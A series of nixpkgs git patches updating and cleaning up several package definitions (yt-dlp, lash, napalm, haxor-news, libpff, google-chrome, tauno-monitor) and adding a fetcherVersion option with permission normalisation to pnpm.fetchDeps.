       you can modify it, redistribute it or use it however you like.
     '';
-    changelog = "https://github.com/yt-dlp/yt-dlp/blob/HEAD/Changelog.md";
+    changelog = "https://github.com/yt-dlp/yt-dlp/blob/${version}/Changelog.md";
     license = licenses.unlicense;
     maintainers = with maintainers; [
       SuperSandro2000

From 4362343a5e3de52efb69e119921abfc8f6d35392 Mon Sep 17 00:00:00 2001
From: DontEatOreo <57304299+DontEatOreo@users.noreply.github.com>
Date: Tue, 1 Jul 2025 04:18:16 +0300
Subject: [PATCH 2736/4511] yt-dlp: use `nix-update-script`

(cherry picked from commit 14f75ec36686a00b12f467eab8a892437c46ff45)
---
 pkgs/by-name/yt/yt-dlp/package.nix | 7 ++-----
 1 file changed, 2 insertions(+), 5 deletions(-)

diff --git a/pkgs/by-name/yt/yt-dlp/package.nix b/pkgs/by-name/yt/yt-dlp/package.nix
index e4aedcfdfb6e..a2d2e211db30 100644
--- a/pkgs/by-name/yt/yt-dlp/package.nix
+++ b/pkgs/by-name/yt/yt-dlp/package.nix
@@ -9,7 +9,7 @@
   ffmpegSupport ? true,
   rtmpSupport ? true,
   withAlias ? false, # Provides bin/youtube-dl for backcompat
-  update-python-libraries,
+  nix-update-script,
 }:
 
 python3Packages.buildPythonApplication rec {
@@ -80,10 +80,7 @@ python3Packages.buildPythonApplication rec {
     ln -s "$out/bin/yt-dlp" "$out/bin/youtube-dl"
   '';
 
-  passthru.updateScript = [
-    update-python-libraries
-    (toString ./.)
-  ];
+  passthru.updateScript = nix-update-script { };
 
   meta = with lib; {
     homepage = "https://github.com/yt-dlp/yt-dlp/";

From b3d2a0e29fe4bf67efeb6f2b1d366965699298cd Mon Sep 17 00:00:00 2001
From: DontEatOreo <57304299+DontEatOreo@users.noreply.github.com>
Date: Wed, 2 Jul 2025 15:21:20 +0300
Subject: [PATCH 2737/4511] yt-dlp: generate manpages with pandoc

(cherry picked from commit b0de10fe5af0266e1e1c87b365f0014e197d839e)
---
 pkgs/by-name/yt/yt-dlp/package.nix | 45 ++++++++++++++++++++++++------
 1 file changed, 36 insertions(+), 9 deletions(-)

diff --git a/pkgs/by-name/yt/yt-dlp/package.nix b/pkgs/by-name/yt/yt-dlp/package.nix
index a2d2e211db30..a08ff7c4c6ca 100644
--- a/pkgs/by-name/yt/yt-dlp/package.nix
+++ b/pkgs/by-name/yt/yt-dlp/package.nix
@@ -5,6 +5,8 @@
   ffmpeg-headless,
   rtmpdump,
   atomicparsley,
+  pandoc,
+  installShellFiles,
   atomicparsleySupport ? true,
   ffmpegSupport ? true,
   rtmpSupport ? true,
@@ -27,8 +29,11 @@ python3Packages.buildPythonApplication rec {
     hash = "sha256-dwBe6oXh7G67kfiI6BqiC0ZHzleR7QlfMiTVXWYW85I=";
   };
 
-  build-system = with python3Packages; [
-    hatchling
+  build-system = with python3Packages; [ hatchling ];
+
+  nativeBuildInputs = [
+    installShellFiles
+    pandoc
   ];
 
   # expose optional-dependencies, but provide all features
@@ -53,6 +58,21 @@ python3Packages.buildPythonApplication rec {
 
   pythonRelaxDeps = [ "websockets" ];
 
+  preBuild = ''
+    python devscripts/make_lazy_extractors.py
+  '';
+
+  postBuild = ''
+    python devscripts/prepare_manpage.py yt-dlp.1.temp.md
+    pandoc -s -f markdown-smart -t man yt-dlp.1.temp.md -o yt-dlp.1
+    rm yt-dlp.1.temp.md
+
+    mkdir -p completions/{bash,fish,zsh}
+    python devscripts/bash-completion.py completions/bash/yt-dlp
+    python devscripts/zsh-completion.py completions/zsh/_yt-dlp
+    python devscripts/fish-completion.py completions/fish/yt-dlp.fish
+  '';
+
   # Ensure these utilities are available in $PATH:
   # - ffmpeg: post-processing & transcoding support
   # - rtmpdump: download files over RTMP
@@ -69,16 +89,23 @@ python3Packages.buildPythonApplication rec {
       ''--prefix PATH : "${lib.makeBinPath packagesToBinPath}"''
     ];
 
-  setupPyBuildFlags = [
-    "build_lazy_extractors"
-  ];
-
   # Requires network
   doCheck = false;
 
-  postInstall = lib.optionalString withAlias ''
-    ln -s "$out/bin/yt-dlp" "$out/bin/youtube-dl"
-  '';
+  postInstall =
+    ''
+      installManPage yt-dlp.1
+
+      installShellCompletion \
+        --bash completions/bash/yt-dlp \
+        --fish completions/fish/yt-dlp.fish \
+        --zsh completions/zsh/_yt-dlp
+
+      install -Dm644 Changelog.md README.md -t "$out/share/doc/yt_dlp"
+    ''
+    + lib.optionalString withAlias ''
+      ln -s "$out/bin/yt-dlp" "$out/bin/youtube-dl"
+    '';
 
   passthru.updateScript = nix-update-script { };
 

From 6cd5b831e8a3518e41ad3c8d3957d5ec92edf846 Mon Sep 17 00:00:00 2001
From: DontEatOreo <57304299+DontEatOreo@users.noreply.github.com>
Date: Tue, 8 Jul 2025 23:23:22 +0300
Subject: [PATCH 2738/4511] yt-dlp: sort `meta`

(cherry picked from commit 9f869f7f227ca77a877c52246d0a2904b7924257)
---
 pkgs/by-name/yt/yt-dlp/package.nix | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/pkgs/by-name/yt/yt-dlp/package.nix b/pkgs/by-name/yt/yt-dlp/package.nix
index a08ff7c4c6ca..a4ceab04c7b8 100644
--- a/pkgs/by-name/yt/yt-dlp/package.nix
+++ b/pkgs/by-name/yt/yt-dlp/package.nix
@@ -110,8 +110,10 @@ python3Packages.buildPythonApplication rec {
   passthru.updateScript = nix-update-script { };
 
   meta = with lib; {
-    homepage = "https://github.com/yt-dlp/yt-dlp/";
+    changelog = "https://github.com/yt-dlp/yt-dlp/blob/${version}/Changelog.md";
     description = "Command-line tool to download videos from YouTube.com and other sites (youtube-dl fork)";
+    homepage = "https://github.com/yt-dlp/yt-dlp/";
+    license = licenses.unlicense;
     longDescription = ''
       yt-dlp is a youtube-dl fork based on the now inactive youtube-dlc.
 
@@ -120,12 +122,10 @@ python3Packages.buildPythonApplication rec {
       youtube-dl is released to the public domain, which means
       you can modify it, redistribute it or use it however you like.
     '';
-    changelog = "https://github.com/yt-dlp/yt-dlp/blob/${version}/Changelog.md";
-    license = licenses.unlicense;
+    mainProgram = "yt-dlp";
     maintainers = with maintainers; [
       SuperSandro2000
       donteatoreo
     ];
-    mainProgram = "yt-dlp";
   };
 }

From 05f8520639c323812f1cebbc8a828e193447a8bb Mon Sep 17 00:00:00 2001
From: DontEatOreo <57304299+DontEatOreo@users.noreply.github.com>
Date: Tue, 8 Jul 2025 23:24:03 +0300
Subject: [PATCH 2739/4511] yt-dlp: remove `with lib`

(cherry picked from commit 182bc1e5f931c1ea4d7ce90c5b7111ad02b76a34)
---
 pkgs/by-name/yt/yt-dlp/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/yt/yt-dlp/package.nix b/pkgs/by-name/yt/yt-dlp/package.nix
index a4ceab04c7b8..92aaee8f2633 100644
--- a/pkgs/by-name/yt/yt-dlp/package.nix
+++ b/pkgs/by-name/yt/yt-dlp/package.nix
@@ -109,11 +109,11 @@ python3Packages.buildPythonApplication rec {
 
   passthru.updateScript = nix-update-script { };
 
-  meta = with lib; {
+  meta = {
     changelog = "https://github.com/yt-dlp/yt-dlp/blob/${version}/Changelog.md";
     description = "Command-line tool to download videos from YouTube.com and other sites (youtube-dl fork)";
     homepage = "https://github.com/yt-dlp/yt-dlp/";
-    license = licenses.unlicense;
+    license = lib.licenses.unlicense;
     longDescription = ''
       yt-dlp is a youtube-dl fork based on the now inactive youtube-dlc.
 
@@ -123,7 +123,7 @@ python3Packages.buildPythonApplication rec {
       you can modify it, redistribute it or use it however you like.
     '';
     mainProgram = "yt-dlp";
-    maintainers = with maintainers; [
+    maintainers = with lib.maintainers; [
       SuperSandro2000
       donteatoreo
     ];

From 4f8145e3a418bdd3b6abd9f2a46750ca2b889031 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Mon, 21 Jul 2025 18:36:07 +0200
Subject: [PATCH 2740/4511] lash: delay assert behind eval of `meta`

This allows CI to evaluate `meta.platforms` to see that this package is
not supported on darwin. Working around the assert before that requires
much more hackery.

I'm not 100% sure whether the assert is needed, but it doesn't hurt to
keep it in this place.

(cherry picked from commit 07c441b8fee23fde28347554c71df4cb6c3e7342)
---
 pkgs/by-name/la/lash/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/la/lash/package.nix b/pkgs/by-name/la/lash/package.nix
index c3ec6476b2a4..b5a69b2208f0 100644
--- a/pkgs/by-name/la/lash/package.nix
+++ b/pkgs/by-name/la/lash/package.nix
@@ -12,8 +12,6 @@
   readline,
 }:
 
-assert libuuid != null;
-
 stdenv.mkDerivation rec {
   pname = "lash";
   version = "0.5.4";
@@ -40,7 +38,9 @@ stdenv.mkDerivation rec {
     libxml2
     readline
   ];
-  propagatedBuildInputs = [ libuuid ];
+  propagatedBuildInputs =
+    assert libuuid != null;
+    [ libuuid ];
   NIX_LDFLAGS = "-lm -lpthread -luuid";
 
   postInstall = ''

From e091de9f6ca2ae8903c30a586543cc6aee2f8a9f Mon Sep 17 00:00:00 2001
From: Martin Weinelt <hexa@darmstadt.ccc.de>
Date: Fri, 23 May 2025 02:12:26 +0200
Subject: [PATCH 2741/4511] python313Packages.napalm: remove telnetlib usage

Instead it now uses a telnetlib vendored in netmiko.

(cherry picked from commit 9c8f813aa9a7d11af9d4edac8e837ae841e9bcd2)
---
 pkgs/development/python-modules/napalm/default.nix | 11 +++++++++++
 1 file changed, 11 insertions(+)

diff --git a/pkgs/development/python-modules/napalm/default.nix b/pkgs/development/python-modules/napalm/default.nix
index c942625fe891..07da3c408cf6 100644
--- a/pkgs/development/python-modules/napalm/default.nix
+++ b/pkgs/development/python-modules/napalm/default.nix
@@ -2,6 +2,7 @@
   lib,
   buildPythonPackage,
   fetchFromGitHub,
+  fetchpatch,
   pythonOlder,
 
   # build-system
@@ -46,6 +47,16 @@ buildPythonPackage rec {
     hash = "sha256-Abw3h69qTFwOOFeAfivqAIWLozErJ1yZZfx7CbMy1AI=";
   };
 
+  patches = [
+    (fetchpatch {
+      url = "https://github.com/napalm-automation/napalm/commit/7e509869f7cb56892380629d1cb5f99e3e2c6190.patch";
+      hash = "sha256-vJDACa5SmSJ/rcmKEow4Prqju/jYcCrzGpTdEYsAPq0=";
+      includes = [
+        "napalm/ios/ios.py"
+      ];
+    })
+  ];
+
   nativeBuildInputs = [ setuptools ];
 
   propagatedBuildInputs = [

From a7724b1bfa22f2a9857b168f797c5a6bb4045eec Mon Sep 17 00:00:00 2001
From: Markus Hauck <markus1189@gmail.com>
Date: Tue, 22 Jul 2025 08:10:25 +0200
Subject: [PATCH 2742/4511] haxor-news: unstable-2020-10-20 ->
 unstable-2022-04-22

Package was not building with error, I removed the manual package
overrides and it built fine.

Also updated to the most recent unstable commit afterwards.

From what I tested it seems to work fine.

```
error: builder for '/nix/store/15l75w52cxc77zwdqv2w41cz0sylky0q-python3.13-prompt-toolkit-1.0.18.drv' failed with exit code 1;
       last 21 log lines:
       > Sourcing python-remove-tests-dir-hook
       > Sourcing python-catch-conflicts-hook.sh
       > Sourcing python-remove-bin-bytecode-hook.sh
       > Sourcing pypa-build-hook
       > Using pypaBuildPhase
       > Sourcing python-runtime-deps-check-hook
       > Using pythonRuntimeDepsCheckHook
       > Sourcing pypa-install-hook
       > Using pypaInstallPhase
       > Sourcing python-imports-check-hook.sh
       > Using pythonImportsCheckPhase
       > Sourcing python-namespaces-hook
       > Sourcing python-catch-conflicts-hook.sh
       > Sourcing pytest-check-hook
       > Using pytestCheckPhase
       > Running phase: unpackPhase
       > unpacking source archive /nix/store/hxiafm537za17sivpcljvqr6qlsclc8n-prompt_toolkit-1.0.18.tar.gz
       > source root is prompt_toolkit-1.0.18
       > setting SOURCE_DATE_EPOCH to timestamp 1570133629 of file "prompt_toolkit-1.0.18/setup.cfg"
       > Running phase: patchPhase
       > substitute(): ERROR: file 'src/prompt_toolkit/__init__.py' does not exist
       For full logs, run:
         nix log /nix/store/15l75w52cxc77zwdqv2w41cz0sylky0q-python3.13-prompt-toolkit-1.0.18.drv
```

(cherry picked from commit d6966c3ef22eb2bfbb4c72600fc85ad74deb7a9a)
Signed-off-by: Matthias Beyer <mail@beyermatthias.de>
---
 pkgs/by-name/ha/haxor-news/package.nix | 45 ++++++--------------------
 1 file changed, 9 insertions(+), 36 deletions(-)

diff --git a/pkgs/by-name/ha/haxor-news/package.nix b/pkgs/by-name/ha/haxor-news/package.nix
index 0ec51f9fb355..d57a43d20c95 100644
--- a/pkgs/by-name/ha/haxor-news/package.nix
+++ b/pkgs/by-name/ha/haxor-news/package.nix
@@ -2,50 +2,23 @@
   lib,
   fetchFromGitHub,
   fetchPypi,
-  python3,
+  python3Packages,
 }:
 
-let
-  py = python3.override {
-    self = py;
-    packageOverrides = self: super: {
-      # not compatible with prompt_toolkit >=2.0
-      prompt-toolkit = super.prompt-toolkit.overridePythonAttrs (oldAttrs: rec {
-        name = "${oldAttrs.pname}-${version}";
-        version = "1.0.18";
-        src = oldAttrs.src.override {
-          inherit version;
-          hash = "sha256-3U/KAsgGlJetkxotCZFMaw0bUBUc6Ha8Fb3kx0cJASY=";
-        };
-      });
-      # Use click 7
-      click = super.click.overridePythonAttrs (old: rec {
-        version = "7.1.2";
-        src = fetchPypi {
-          pname = "click";
-          inherit version;
-          hash = "sha256-0rUlXHxjSbwb0eWeCM0SrLvWPOZJ8liHVXg6qU37axo=";
-        };
-        disabledTests = [ "test_bytes_args" ];
-      });
-    };
-  };
-in
-with py.pkgs;
-
-buildPythonApplication rec {
+python3Packages.buildPythonApplication rec {
   pname = "haxor-news";
-  version = "unstable-2020-10-20";
+  version = "unstable-2022-04-22";
+  format = "setuptools";
 
   # haven't done a stable release in 3+ years, but actively developed
   src = fetchFromGitHub {
     owner = "donnemartin";
-    repo = pname;
-    rev = "811a5804c09406465b2b02eab638c08bf5c4fa7f";
-    hash = "sha256-5v61b49ttwqPOvtoykJBBzwVSi7S8ARlakccMr12bbw=";
+    repo = "haxor-news";
+    rev = "8294e4498858f036a344b06e82f08b834c2a8270";
+    hash = "sha256-0eVk5zj7F3QDFvV0Kv9aeV1oeKxr/Kza6M3pK6hyYuY=";
   };
 
-  propagatedBuildInputs = [
+  propagatedBuildInputs = with python3Packages; [
     click
     colorama
     requests
@@ -57,7 +30,7 @@ buildPythonApplication rec {
   # will fail without pre-seeded config files
   doCheck = false;
 
-  nativeCheckInputs = [
+  nativeCheckInputs = with python3Packages; [
     unittestCheckHook
     mock
   ];

From 7f630f5ce925e91ecf39f6f8f440fcd6012315be Mon Sep 17 00:00:00 2001
From: Antonio <vozaanthony@gmail.com>
Date: Tue, 22 Jul 2025 10:13:12 +0200
Subject: [PATCH 2743/4511] libpff: 20111114 -> 20231205

(cherry picked from commit cd6364be9e474997c5aad6e44041e4180ed94d8f)
---
 pkgs/by-name/li/libpff/package.nix | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/pkgs/by-name/li/libpff/package.nix b/pkgs/by-name/li/libpff/package.nix
index 31071f5ac9fb..dbc9b5d40f3d 100644
--- a/pkgs/by-name/li/libpff/package.nix
+++ b/pkgs/by-name/li/libpff/package.nix
@@ -6,13 +6,13 @@
   autoreconfHook,
 }:
 
-stdenv.mkDerivation rec {
+stdenv.mkDerivation (finalAttrs: {
   pname = "libpff";
-  version = "20211114";
+  version = "20231205";
 
   src = fetchzip {
-    url = "https://github.com/libyal/libpff/releases/download/${version}/libpff-alpha-${version}.tar.gz";
-    sha256 = "sha256-UmGRBgi78nDSuuOXi/WmODojWU5AbQGKNQwLseoh714=";
+    url = "https://github.com/libyal/libpff/releases/download/${finalAttrs.version}/libpff-alpha-${finalAttrs.version}.tar.gz";
+    hash = "sha256-VrdfZRC2iwTfv3YrObQvIH9QZPTi9pUQoAyUcBVJyes=";
   };
 
   nativeBuildInputs = [
@@ -29,8 +29,8 @@ stdenv.mkDerivation rec {
     description = "Library and tools to access the Personal Folder File (PFF) and the Offline Folder File (OFF) format";
     homepage = "https://github.com/libyal/libpff";
     downloadPage = "https://github.com/libyal/libpff/releases";
-    changelog = "https://github.com/libyal/libpff/blob/${version}/ChangeLog";
+    changelog = "https://github.com/libyal/libpff/blob/${finalAttrs.version}/ChangeLog";
     license = lib.licenses.lgpl3Only;
     maintainers = with lib.maintainers; [ hacker1024 ];
   };
-}
+})

From 5e679c10eb0fd472dbb41213744598c4c0506b2d Mon Sep 17 00:00:00 2001
From: Jon Seager <jon@sgrs.uk>
Date: Tue, 22 Jul 2025 11:44:36 +0200
Subject: [PATCH 2744/4511] google-chrome: 138.0.7204.100 -> 138.0.7204.157

(cherry picked from commit 78f194b3ae2a85dabb6789ba0929fc260687fd97)
---
 pkgs/by-name/go/google-chrome/package.nix | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/pkgs/by-name/go/google-chrome/package.nix b/pkgs/by-name/go/google-chrome/package.nix
index 27dd1eab9d8c..70cf21c06170 100644
--- a/pkgs/by-name/go/google-chrome/package.nix
+++ b/pkgs/by-name/go/google-chrome/package.nix
@@ -171,11 +171,11 @@ let
 
   linux = stdenvNoCC.mkDerivation (finalAttrs: {
     inherit pname meta passthru;
-    version = "138.0.7204.100";
+    version = "138.0.7204.157";
 
     src = fetchurl {
       url = "https://dl.google.com/linux/chrome/deb/pool/main/g/google-chrome-stable/google-chrome-stable_${finalAttrs.version}-1_amd64.deb";
-      hash = "sha256-H22aDTMvbUsbBWasGjCP1dUKmYzD9/6TIzfBpahAnA8=";
+      hash = "sha256-QmWevU4cYmUc6lUbFG4bQ1aKFuUyIUorJjMMF14bzZ4=";
     };
 
     # With strictDeps on, some shebangs were not being patched correctly
@@ -276,11 +276,11 @@ let
 
   darwin = stdenvNoCC.mkDerivation (finalAttrs: {
     inherit pname meta passthru;
-    version = "138.0.7204.101";
+    version = "138.0.7204.158";
 
     src = fetchurl {
-      url = "http://dl.google.com/release2/chrome/h7v73czgelyzwk2xfcs2gkpkwm_138.0.7204.101/GoogleChrome-138.0.7204.101.dmg";
-      hash = "sha256-gG20H5QsVmnfRi+Zo+OiLTLlPP2cLp6W+JaJoRE0QtI=";
+      url = "http://dl.google.com/release2/chrome/adskeulizkrq3h2yvus65pybna6a_138.0.7204.158/GoogleChrome-138.0.7204.158.dmg";
+      hash = "sha256-D7Iik+R9PIfvL1QEASfip5M2pE+nco90dKet4Fehq/8=";
     };
 
     dontPatch = true;

From 2d3136f2d0cc03c54934bb099d0be79a354e049a Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Gutyina=20Gerg=C5=91?= <gutyina.gergo.2@gmail.com>
Date: Sun, 6 Jul 2025 18:58:28 +0200
Subject: [PATCH 2745/4511] pnpm.fetchDeps: introduce versioning

(cherry picked from commit fd61e1c200f03e87ba4cf2868200ee7032a3a36d)
---
 .../javascript.section.md                     | 35 +++++++++++++++++++
 doc/redirects.json                            |  6 ++++
 .../ba/bash-language-server/package.nix       |  1 +
 .../tools/pnpm/fetch-deps/default.nix         |  6 ++++
 .../tools/pnpm/fetch-deps/pnpm-config-hook.sh |  7 ++++
 5 files changed, 55 insertions(+)

diff --git a/doc/languages-frameworks/javascript.section.md b/doc/languages-frameworks/javascript.section.md
index e076984db000..5e4067ed0a17 100644
--- a/doc/languages-frameworks/javascript.section.md
+++ b/doc/languages-frameworks/javascript.section.md
@@ -444,6 +444,7 @@ stdenv.mkDerivation (finalAttrs: {
   pnpmDeps = pnpm.fetchDeps {
     inherit (finalAttrs) pname version src;
     hash = "...";
+    fetcherVersion = 1;
   };
 })
 ```
@@ -558,6 +559,40 @@ set `prePnpmInstall` to the right commands to run. For example:
 
 In this example, `prePnpmInstall` will be run by both `pnpm.configHook` and by the `pnpm.fetchDeps` builder.
 
+#### PNPM `fetcherVersion` {#javascript-pnpm-fetcherVersion}
+
+This is the version of the output of `pnpm.fetchDeps`, if you haven't set it already, you can use `1` with your current hash:
+
+```nix
+{
+  # ...
+  pnpmDeps = pnpm.fetchDeps {
+    # ...
+    hash = "..."; # you can use your already set hash here
+    fetcherVersion = 1;
+  };
+}
+```
+
+After upgrading to a newer `fetcherVersion`, you need to regenerate the hash:
+
+```nix
+{
+  # ...
+  pnpmDeps = pnpm.fetchDeps {
+    # ...
+    hash = "..."; # clear this hash and generate a new one
+    fetcherVersion = 2;
+  };
+}
+```
+
+This variable ensures that we can make changes to the output of `pnpm.fetchDeps` without breaking existing hashes.
+Changes can include workarounds or bug fixes to existing PNPM issues.
+
+##### Version history {#javascript-pnpm-fetcherVersion-versionHistory}
+
+- 1: Initial version, nothing special
 
 ### Yarn {#javascript-yarn}
 
diff --git a/doc/redirects.json b/doc/redirects.json
index b3d783adead9..d0d836758319 100644
--- a/doc/redirects.json
+++ b/doc/redirects.json
@@ -3272,6 +3272,12 @@
   "javascript-pnpm-extraCommands": [
     "index.html#javascript-pnpm-extraCommands"
   ],
+  "javascript-pnpm-fetcherVersion": [
+    "index.html#javascript-pnpm-fetcherVersion"
+  ],
+  "javascript-pnpm-fetcherVersion-versionHistory": [
+    "index.html#javascript-pnpm-fetcherVersion-versionHistory"
+  ],
   "javascript-yarn": [
     "index.html#javascript-yarn"
   ],
diff --git a/pkgs/by-name/ba/bash-language-server/package.nix b/pkgs/by-name/ba/bash-language-server/package.nix
index f625b702df30..293439f8423d 100644
--- a/pkgs/by-name/ba/bash-language-server/package.nix
+++ b/pkgs/by-name/ba/bash-language-server/package.nix
@@ -29,6 +29,7 @@ stdenv.mkDerivation (finalAttrs: {
       pnpmWorkspaces
       ;
     hash = "sha256-W25xehcxncBs9QgQBt17F5YHK0b+GDEmt27XzTkyYWg=";
+    fetcherVersion = 1;
   };
 
   nativeBuildInputs = [
diff --git a/pkgs/development/tools/pnpm/fetch-deps/default.nix b/pkgs/development/tools/pnpm/fetch-deps/default.nix
index 7e2b82d9b414..0c1799a98d1e 100644
--- a/pkgs/development/tools/pnpm/fetch-deps/default.nix
+++ b/pkgs/development/tools/pnpm/fetch-deps/default.nix
@@ -18,6 +18,7 @@
       pnpmWorkspaces ? [ ],
       prePnpmInstall ? "",
       pnpmInstallFlags ? [ ],
+      fetcherVersion ? 1,
       ...
     }@args:
     let
@@ -92,6 +93,11 @@
                 --registry="$NIX_NPM_REGISTRY" \
                 --frozen-lockfile
 
+            # Store newer fetcherVersion in case pnpm.configHook also needs it
+            if [[ ${toString fetcherVersion} -gt 1 ]]; then
+              echo ${toString fetcherVersion} > $out/.fetcher-version
+            fi
+
             runHook postInstall
           '';
 
diff --git a/pkgs/development/tools/pnpm/fetch-deps/pnpm-config-hook.sh b/pkgs/development/tools/pnpm/fetch-deps/pnpm-config-hook.sh
index f66f06c0a867..a9fc3050435b 100644
--- a/pkgs/development/tools/pnpm/fetch-deps/pnpm-config-hook.sh
+++ b/pkgs/development/tools/pnpm/fetch-deps/pnpm-config-hook.sh
@@ -12,6 +12,13 @@ pnpmConfigHook() {
       exit 1
     fi
 
+    fetcherVersion=1
+    if [[ -e "${pnpmDeps}/.fetcher-version" ]]; then
+      fetcherVersion=$(cat "${pnpmDeps}/.fetcher-version")
+    fi
+
+    echo "Using fetcherVersion: $fetcherVersion"
+
     echo "Configuring pnpm store"
 
     export HOME=$(mktemp -d)

From c7298a469574f7c6b4abee0bf14c672645352499 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Gutyina=20Gerg=C5=91?= <gutyina.gergo.2@gmail.com>
Date: Wed, 9 Jul 2025 13:52:43 +0200
Subject: [PATCH 2746/4511] pnpm.fetchDeps: ensure consistent permissions for
 fetcherVersion >=2

Co-authored-by: Oliver Breitwieser <oliver@breitwieser.eu>
(cherry picked from commit 71e3980f188d0a322c91127d11a8d07fe3bb15ca)
---
 doc/languages-frameworks/javascript.section.md  |  3 ++-
 .../tools/pnpm/fetch-deps/default.nix           | 17 +++++++++++++++++
 2 files changed, 19 insertions(+), 1 deletion(-)

diff --git a/doc/languages-frameworks/javascript.section.md b/doc/languages-frameworks/javascript.section.md
index 5e4067ed0a17..319d076204a7 100644
--- a/doc/languages-frameworks/javascript.section.md
+++ b/doc/languages-frameworks/javascript.section.md
@@ -444,7 +444,7 @@ stdenv.mkDerivation (finalAttrs: {
   pnpmDeps = pnpm.fetchDeps {
     inherit (finalAttrs) pname version src;
     hash = "...";
-    fetcherVersion = 1;
+    fetcherVersion = 2;
   };
 })
 ```
@@ -593,6 +593,7 @@ Changes can include workarounds or bug fixes to existing PNPM issues.
 ##### Version history {#javascript-pnpm-fetcherVersion-versionHistory}
 
 - 1: Initial version, nothing special
+- 2: [Ensure consistent permissions](https://github.com/NixOS/nixpkgs/pull/422975)
 
 ### Yarn {#javascript-yarn}
 
diff --git a/pkgs/development/tools/pnpm/fetch-deps/default.nix b/pkgs/development/tools/pnpm/fetch-deps/default.nix
index 0c1799a98d1e..c0a5ca65751c 100644
--- a/pkgs/development/tools/pnpm/fetch-deps/default.nix
+++ b/pkgs/development/tools/pnpm/fetch-deps/default.nix
@@ -110,6 +110,23 @@
               jq --sort-keys "del(.. | .checkedAt?)" $f | sponge $f
             done
 
+            # Ensure consistent permissions
+            # NOTE: For reasons not yet fully understood, pnpm might create files with
+            # inconsistent permissions, for example inside the ubuntu-24.04
+            # github actions runner.
+            # To ensure stable derivations, we need to set permissions
+            # consistently, namely:
+            # * All files with `-exec` suffix have 555.
+            # * All other files have 444.
+            # * All folders have 555.
+            # See https://github.com/NixOS/nixpkgs/pull/350063
+            # See https://github.com/NixOS/nixpkgs/issues/422889
+            if [[ ${toString fetcherVersion} -ge 2 ]]; then
+              find $out -type f -name "*-exec" -print0 | xargs -0 chmod 555
+              find $out -type f -not -name "*-exec" -print0 | xargs -0 chmod 444
+              find $out -type d -print0 | xargs -0 chmod 555
+            fi
+
             runHook postFixup
           '';
 

From 83fabaf29187eb614d1168f11f5663c82d576540 Mon Sep 17 00:00:00 2001
From: Sefa Eyeoglu <contact@scrumplex.net>
Date: Tue, 15 Jul 2025 15:09:00 +0200
Subject: [PATCH 2747/4511] doc: adjust pnpm.fetchDeps parameter order

Signed-off-by: Sefa Eyeoglu <contact@scrumplex.net>
(cherry picked from commit e9d0c4af416f8a1847d87c80d62d72204879ce7e)
---
 doc/languages-frameworks/javascript.section.md | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/doc/languages-frameworks/javascript.section.md b/doc/languages-frameworks/javascript.section.md
index 319d076204a7..3b73859da6fe 100644
--- a/doc/languages-frameworks/javascript.section.md
+++ b/doc/languages-frameworks/javascript.section.md
@@ -443,8 +443,8 @@ stdenv.mkDerivation (finalAttrs: {
 
   pnpmDeps = pnpm.fetchDeps {
     inherit (finalAttrs) pname version src;
-    hash = "...";
     fetcherVersion = 2;
+    hash = "...";
   };
 })
 ```
@@ -568,8 +568,8 @@ This is the version of the output of `pnpm.fetchDeps`, if you haven't set it alr
   # ...
   pnpmDeps = pnpm.fetchDeps {
     # ...
-    hash = "..."; # you can use your already set hash here
     fetcherVersion = 1;
+    hash = "..."; # you can use your already set hash here
   };
 }
 ```
@@ -581,8 +581,8 @@ After upgrading to a newer `fetcherVersion`, you need to regenerate the hash:
   # ...
   pnpmDeps = pnpm.fetchDeps {
     # ...
-    hash = "..."; # clear this hash and generate a new one
     fetcherVersion = 2;
+    hash = "..."; # clear this hash and generate a new one
   };
 }
 ```

From a910b710ed68863842b5efc0bf150c52de48bb43 Mon Sep 17 00:00:00 2001
From: Sefa Eyeoglu <contact@scrumplex.net>
Date: Mon, 14 Jul 2025 19:27:18 +0200
Subject: [PATCH 2748/4511] pnpm.fetchDeps: add fetcherVersion to passthru

This way we should be able to write tooling to automatically upgrade
this version in the future.

Signed-off-by: Sefa Eyeoglu <contact@scrumplex.net>
(cherry picked from commit bc888e4649f14390428fc448cc71631af600c72a)
---
 pkgs/development/tools/pnpm/fetch-deps/default.nix | 1 +
 1 file changed, 1 insertion(+)

diff --git a/pkgs/development/tools/pnpm/fetch-deps/default.nix b/pkgs/development/tools/pnpm/fetch-deps/default.nix
index c0a5ca65751c..c416570b4f24 100644
--- a/pkgs/development/tools/pnpm/fetch-deps/default.nix
+++ b/pkgs/development/tools/pnpm/fetch-deps/default.nix
@@ -131,6 +131,7 @@
           '';
 
           passthru = {
+            inherit fetcherVersion;
             serve = callPackage ./serve.nix {
               inherit pnpm;
               pnpmDeps = finalAttrs.finalPackage;

From 3f014330108c593ddadb717c5f33193f886621e0 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Tue, 22 Jul 2025 09:14:44 +0000
Subject: [PATCH 2749/4511] tauno-monitor: 0.2.9 -> 0.2.11

(cherry picked from commit 0532c6bf1715f9423eeb4788129b0029f89172f4)
---
 pkgs/by-name/ta/tauno-monitor/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/ta/tauno-monitor/package.nix b/pkgs/by-name/ta/tauno-monitor/package.nix
index d604098744cd..4a3f9f16d348 100644
--- a/pkgs/by-name/ta/tauno-monitor/package.nix
+++ b/pkgs/by-name/ta/tauno-monitor/package.nix
@@ -13,14 +13,14 @@
 }:
 python3Packages.buildPythonApplication rec {
   pname = "tauno-monitor";
-  version = "0.2.9";
+  version = "0.2.11";
   pyproject = false;
 
   src = fetchFromGitHub {
     owner = "taunoe";
     repo = "tauno-monitor";
     tag = "v${version}";
-    hash = "sha256-tVl6JZbzAgOlXQzvN9Wq4TTRoGfIyWw243vZFbkcyRo=";
+    hash = "sha256-FoNn+A0zqFf/Nl0MrK9/X5mwaq8mJBRH0uGnemDC0is=";
   };
 
   nativeBuildInputs = [

